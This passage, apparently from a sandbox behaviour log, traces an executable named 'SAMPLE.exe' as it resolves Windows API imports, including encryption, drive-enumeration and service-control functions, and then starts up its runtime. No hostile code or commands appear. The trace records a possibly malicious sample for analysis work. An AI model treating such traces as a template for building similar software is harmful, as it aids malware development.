lpProcName="PathAppendA") returned 0x7729d65e [0100.046] GetProcAddress (hModule=0x77290000, lpProcName="PathFileExistsA") returned 0x772cad1a [0100.046] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77080000 [0100.046] GetProcAddress (hModule=0x77080000, lpProcName="GetTickCount") returned 0x7709110c [0100.046] GetProcAddress (hModule=0x77080000, lpProcName="TlsFree") returned 0x77093587 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="GetCommandLineW") returned 0x77095223 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="CreateFileA") returned 0x770953c6 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="FindFirstFileW") returned 0x77094435 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="SetFilePointer") returned 0x770917d1 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="lstrlenA") returned 0x77095a4b [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="SetErrorMode") returned 0x77091b00 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="FreeLibrary") returned 0x770934c8 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="CreateProcessW") returned 0x7709103d [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="SetFilePointerEx") returned 0x770ac807 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="CreateDirectoryW") returned 0x77094259 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="WaitForSingleObject") returned 0x77091136 [0100.047] GetProcAddress (hModule=0x77080000, lpProcName="GetLogicalDrives") returned 0x77095371 [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="VirtualFree") returned 0x7709186e [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="WriteFile") returned 0x77091282 [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="GetDriveTypeA") returned 0x770aef75 [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="OpenProcess") returned 0x77091986 [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="GlobalAlloc") returned 0x7709588e [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="GetSystemDirectoryW") returned 0x77095063 [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="WideCharToMultiByte") returned 0x7709170d [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="LoadLibraryW") returned 0x7709492b [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="Sleep") returned 0x770910ff [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="CopyFileW") returned 0x770b830d [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="FormatMessageW") returned 0x77094620 [0100.048] GetProcAddress (hModule=0x77080000, lpProcName="lstrcpynW") returned 0x770bd556 [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="CreateProcessA") returned 0x77091072 [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="TerminateProcess") returned 0x770ad802 [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="ReadFile") returned 0x77093ed3 [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="CreateFileW") returned 0x77093f5c [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="lstrcatA") returned 0x770b2b7a [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="GetEnvironmentVariableA") returned 0x770933a0 [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="lstrcmpW") returned 0x77095929 [0100.049] GetProcAddress (hModule=0x77080000, lpProcName="MultiByteToWideChar") returned 0x7709192e [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="lstrlenW") returned 0x77091700 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="FlushFileBuffers") returned 0x7709469b [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="GetShortPathNameA") returned 0x770b594d [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="GetFileSizeEx") returned 0x770959e2 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="GetLastError") returned 0x770911c0 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="SetLastError") returned 0x770911a9 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="GetProcAddress") returned 0x77091222 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="VirtualAlloc") returned 0x77091856 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="MoveFileW") returned 0x770a9af0 [0100.050] GetProcAddress (hModule=0x77080000, lpProcName="FindClose") returned 0x77094442 [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="Process32FirstW") returned 0x770b8baf [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="LocalAlloc") returned 0x7709168c [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="CreateEventW") returned 0x7709183e [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleFileNameA") returned 0x770914b1 [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="Process32NextW") returned 0x770b896c [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="lstrcatW") returned 0x770b828e [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="CreateMutexA") returned 0x77094c6b [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="FatalAppExitA") returned 0x77114691 [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="CreateToolhelp32Snapshot") returned 0x770b735f [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="CloseHandle") returned 0x77091410 [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="DeleteFileW") returned 0x770989b3 [0100.051] GetProcAddress (hModule=0x77080000, lpProcName="LocalFree") returned 0x77092d3c [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="lstrcpyW") returned 0x770b3102 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="DeleteFileA") returned 0x77095444 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="lstrcpyA") returned 0x770b2a9d [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="SetPriorityClass") returned 0x770acf28 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleHandleW") returned 0x770934b0 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="GetComputerNameW") returned 0x7709dd0e [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="GetExitCodeProcess") returned 0x770a174d [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleFileNameW") returned 0x77094950 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="GlobalFree") returned 0x77095558 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="GetVersion") returned 0x77094467 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="CreateDirectoryA") returned 0x770bd526 [0100.052] GetProcAddress (hModule=0x77080000, lpProcName="CreateThread") returned 0x770934d5 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="TlsSetValue") returned 0x770914fb [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="TlsGetValue") returned 0x770911e0 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="TlsAlloc") returned 0x770949ad [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77091916 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="SetUnhandledExceptionFilter") returned 0x770987c9 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="UnhandledExceptionFilter") returned 0x770b772f [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="FreeEnvironmentStringsW") returned 0x770951cb [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="GetEnvironmentStringsW") returned 0x770951e3 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcessId") returned 0x770911f8 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="QueryPerformanceCounter") returned 0x77091725 [0100.053] GetProcAddress (hModule=0x77080000, lpProcName="GetStartupInfoW") returned 0x77094d40 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="DeleteCriticalSection") returned 0x777445f5 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="GetTimeZoneInformation") returned 0x7709465a [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="RaiseException") returned 0x770958a6 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="GetStringTypeW") returned 0x77091946 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="HeapSize") returned 0x77743002 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="LoadLibraryExW") returned 0x7709495d [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="HeapAlloc") returned 0x7773e026 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="GetLocaleInfoW") returned 0x77093c42 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="IsValidLocale") returned 0x770ace46 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="GetUserDefaultLCID") returned 0x77093da5 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="EnumSystemLocalesW") returned 0x7711425f [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="GetDateFormatW") returned 0x770b34d7 [0100.054] GetProcAddress (hModule=0x77080000, lpProcName="GetTimeFormatW") returned 0x770af481 [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringW") returned 0x77093bca [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="LCMapStringW") returned 0x770917b9 [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="GetConsoleCP") returned 0x77137bff [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="GetConsoleMode") returned 0x77091328 [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="HeapReAlloc") returned 0x77751f6e [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="SetStdHandle") returned 0x7711454f [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="SetEndOfFile") returned 0x770ace2e [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="GetStdHandle") returned 0x770951b3 [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="GetFileType") returned 0x77093531 [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleHandleExW") returned 0x77094a6f [0100.055] GetProcAddress (hModule=0x77080000, lpProcName="WriteConsoleW") returned 0x770b7aca [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="ReadConsoleW") returned 0x7713739a [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="OutputDebugStringW") returned 0x770bd1d4 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="SetConsoleCtrlHandler") returned 0x77098a09 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="RtlUnwind") returned 0x770bd1c3 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="LeaveCriticalSection") returned 0x77732270 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="EnterCriticalSection") returned 0x777322b0 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="AreFileApisANSI") returned 0x771140d1 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="ExitProcess") returned 0x77097a10 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="GetProcessHeap") returned 0x770914e9 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentThreadId") returned 0x77091450 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentThread") returned 0x770917ec [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="GetCPInfo") returned 0x77095189 [0100.056] GetProcAddress (hModule=0x77080000, lpProcName="HeapFree") returned 0x770914c9 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="SetEnvironmentVariableA") returned 0x7709e331 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="EncodePointer") returned 0x77750fcb [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="DecodePointer") returned 0x77749d35 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="GetSystemTimeAsFileTime") returned 0x77093509 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcess") returned 0x77091809 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="CreateSemaphoreW") returned 0x770aca5a [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="GetOEMCP") returned 0x770bd1a1 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="GetACP") returned 0x7709179c [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="IsValidCodePage") returned 0x77094493 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="IsProcessorFeaturePresent") returned 0x77095235 [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="FindNextFileW") returned 0x770954ee [0100.057] GetProcAddress (hModule=0x77080000, lpProcName="IsDebuggerPresent") returned 0x77094a5d [0100.058] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76620000 [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="LoadCursorW") returned 0x766388f7 [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="TranslateMessage") returned 0x76637809 [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="RegisterClassExW") returned 0x7663b17d [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="ShowWindow") returned 0x76640dfb [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="IsWindow") returned 0x76637136 [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="CreateWindowExW") returned 0x76638a29 [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="UpdateWindow") returned 0x76643559 [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="DefWindowProcW") returned 0x777425dd [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="PeekMessageW") returned 0x766405ba [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="PostThreadMessageW") returned 0x76638bff [0100.058] GetProcAddress (hModule=0x76620000, lpProcName="MessageBoxW") returned 0x7668fd3f [0100.059] GetProcAddress (hModule=0x76620000, lpProcName="DispatchMessageW") returned 0x7663787b [0100.059] GetProcAddress (hModule=0x76620000, lpProcName="PostQuitMessage") returned 0x76639abb [0100.059] GetProcAddress (hModule=0x76620000, lpProcName="DestroyWindow") returned 0x76639a55 [0100.059] GetProcAddress (hModule=0x76620000, lpProcName="SendMessageW") returned 0x76639679 [0100.059] GetProcAddress (hModule=0x76620000, lpProcName="GetMessageW") returned 0x766378e2 [0100.059] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75350000 [0100.059] GetProcAddress (hModule=0x75350000, lpProcName="CryptGetHashParam") returned 0x7535df7e [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="CryptAcquireContextW") returned 0x7535df14 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="OpenSCManagerW") returned 0x7535ca64 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="OpenServiceW") returned 0x7535ca4c [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="CryptReleaseContext") returned 0x7535e124 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="GetUserNameW") returned 0x7536157a [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="CryptHashData") returned 0x7535df36 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="RegSetValueExW") returned 0x753614d6 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="RegCloseKey") returned 0x7536469d [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="CryptDestroyHash") returned 0x7535df66 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="ControlService") returned 0x75377144 [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="RegOpenKeyExW") returned 0x7536468d [0100.060] GetProcAddress (hModule=0x75350000, lpProcName="CryptCreateHash") returned 0x7535df4e [0100.061] GetProcAddress (hModule=0x75350000, lpProcName="CryptEncrypt") returned 0x7537779b [0100.061] GetProcAddress (hModule=0x75350000, lpProcName="CryptImportKey") returned 0x7535c532 [0100.061] GetProcAddress (hModule=0x75350000, lpProcName="QueryServiceStatus") returned 0x75362a86 [0100.061] GetProcAddress (hModule=0x75350000, lpProcName="RegQueryValueExW") returned 0x753646ad [0100.061] GetProcAddress (hModule=0x75350000, lpProcName="CloseServiceHandle") returned 0x7536369c [0100.061] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75900000 [0100.064] GetProcAddress (hModule=0x75900000, lpProcName="SHGetPathFromIDListW") returned 0x759917bf [0100.065] GetProcAddress (hModule=0x75900000, lpProcName="SHGetSpecialFolderLocation") returned 0x7598e141 [0100.065] GetProcAddress (hModule=0x75900000, lpProcName="CommandLineToArgvW") returned 0x75919ee8 [0100.065] GetProcAddress (hModule=0x75900000, lpProcName="ShellExecuteA") returned 0x75b47078 [0100.065] GetProcAddress (hModule=0x75900000, lpProcName="ShellExecuteExW") returned 0x75921e46 [0100.065] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x754d0000 [0100.065] GetProcAddress (hModule=0x754d0000, lpProcName="CoInitialize") returned 0x754eb636 [0100.065] GetProcAddress (hModule=0x754d0000, lpProcName="CoInitializeSecurity") returned 0x754f7259 [0100.065] GetProcAddress (hModule=0x754d0000, lpProcName="CoUninitialize") returned 0x755186d3 [0100.066] GetProcAddress (hModule=0x754d0000, lpProcName="CoCreateInstance") returned 0x75519d0b [0100.066] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75630000 [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0xca) returned 0x7563fd6b [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0x2) returned 0x75634642 [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0x9) returned 0x75633eae [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0x8) returned 0x75633ed5 [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0x6) returned 0x75633e59 [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0xc8) returned 0x75633f21 [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0xc) returned 0x75635dee [0100.066] GetProcAddress (hModule=0x75630000, lpProcName=0xc9) returned 0x75634af8 [0100.066] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74de0000 [0100.084] GetProcAddress (hModule=0x74de0000, lpProcName="GetAdaptersInfo") returned 0x74de9263 [0100.084] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75300000 [0100.125] GetProcAddress (hModule=0x75300000, lpProcName=0xc) returned 0x7530b131 [0100.125] GetProcAddress (hModule=0x75300000, lpProcName=0xb) returned 0x7530311b [0100.125] GetProcAddress (hModule=0x75300000, lpProcName=0x34) returned 0x75317673 [0100.125] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74d80000 [0100.151] GetProcAddress (hModule=0x74d80000, lpProcName="DnsQuery_W") returned 0x74d9572c [0100.151] GetProcAddress (hModule=0x74d80000, lpProcName="DnsFree") returned 0x74d8436b [0100.151] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x76f60000 [0100.151] GetProcAddress (hModule=0x76f60000, lpProcName="CryptStringToBinaryA") returned 0x76f95d77 [0100.152] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74cc0000 [0100.210] GetProcAddress (hModule=0x74cc0000, lpProcName="atexit") returned 0x74cdc544 [0100.210] atexit (param_1=0xd6d02a) returned 0 [0100.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fe48 | out: lpSystemTimeAsFileTime=0x18fe48*(dwLowDateTime=0x62d264c0, dwHighDateTime=0x1d53dff)) [0100.210] GetCurrentThreadId () returned 0x568 [0100.210] GetCurrentProcessId () returned 0x564 [0100.210] QueryPerformanceCounter (in: lpPerformanceCount=0x18fe40 | out: lpPerformanceCount=0x18fe40*=6906187687) returned 1 [0100.210] GetStartupInfoW (in: lpStartupInfo=0x18fdd8 | out: lpStartupInfo=0x18fdd8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x77093519, hStdOutput=0x7772fd35, hStdError=0x77797daf)) [0100.210] GetProcessHeap () returned 0xd10000 [0100.210] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="FlsAlloc") returned 0x77094f2b [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="FlsFree") returned 0x7709359f [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="FlsGetValue") returned 0x77091252 [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="FlsSetValue") returned 0x77094208 [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="InitializeCriticalSectionEx") returned 0x77094d28 [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="CreateEventExW") returned 0x7711410b [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="CreateSemaphoreExW") returned 0x77114195 [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="SetThreadStackGuarantee") returned 0x7709d31f [0100.211] GetProcAddress (hModule=0x77080000, lpProcName="CreateThreadpoolTimer") returned 0x770aee7e [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="SetThreadpoolTimer") returned 0x7775441c [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7777c50e [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="CloseThreadpoolTimer") returned 0x7777c381 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="CreateThreadpoolWait") returned 0x770af088 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="SetThreadpoolWait") returned 0x777605d7 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="CloseThreadpoolWait") returned 0x7777ca24 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="FlushProcessWriteBuffers") returned 0x77730b8c [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x777efde8 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcessorNumber") returned 0x77781e1d [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="GetLogicalProcessorInformation") returned 0x77114761 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="CreateSymbolicLinkW") returned 0x7710cd11 [0100.212] GetProcAddress (hModule=0x77080000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="EnumSystemLocalesEx") returned 0x7711424f [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringEx") returned 0x771146b1 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetDateFormatEx") returned 0x77126676 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetLocaleInfoEx") returned 0x77114751 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetTimeFormatEx") returned 0x771265f1 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetUserDefaultLocaleName") returned 0x771147c1 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="IsValidLocaleName") returned 0x771147e1 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="LCMapStringEx") returned 0x771147f1 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentPackageId") returned 0x0 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetTickCount64") returned 0x770aeee0 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0100.213] GetProcAddress (hModule=0x77080000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0100.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3bc) returned 0xdbe7b0 [0100.214] GetCurrentThreadId () returned 0x568 [0100.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xdb4aa8 [0100.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x800) returned 0xdbeb78 [0100.214] GetStartupInfoW (in: lpStartupInfo=0x18fda8 | out: lpStartupInfo=0x18fda8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xf8a356c9, hStdError=0x0)) [0100.214] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.214] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0100.214] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.214] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart" [0100.214] GetEnvironmentStringsW () returned 0xdbf380* [0100.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb02) returned 0xdbfe90 [0100.214] FreeEnvironmentStringsW (penv=0xdbf380) returned 1 [0100.214] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x89 [0100.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x138) returned 0xdc09a0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x9c) returned 0xdc0ae0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3e) returned 0xd26ad8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x6c) returned 0xdc0b88 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x6e) returned 0xdc0c00 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x78) returned 0xd21d48 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x62) returned 0xdc0c78 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2e) returned 0xdbae78 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x48) returned 0xdb6b40 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x28) returned 0xdba770 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x1a) returned 0xdbe528 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x4a) returned 0xdc0ce8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x72) returned 0xd21dc8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x30) returned 0xdbaeb0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2e) returned 0xdbaee8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x1c) returned 0xdbe550 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0xd2) returned 0xdc0d40 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x7c) returned 0xdc0e20 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x36) returned 0xdc0ea8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3a) returned 0xd26b20 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x90) returned 0xdc0ee8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x24) returned 0xdba7a0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x30) returned 0xdbaf20 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x36) returned 0xdc0f80 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x48) returned 0xdb6b90 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x52) returned 0xdbf380 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3c) returned 0xd26b68 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x82) returned 0xdbf3e0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2e) returned 0xdbaf58 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x28) returned 0xdba7d0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x1e) returned 0xdbf488 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2c) returned 0xdbaf90 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x54) returned 0xdbfc70 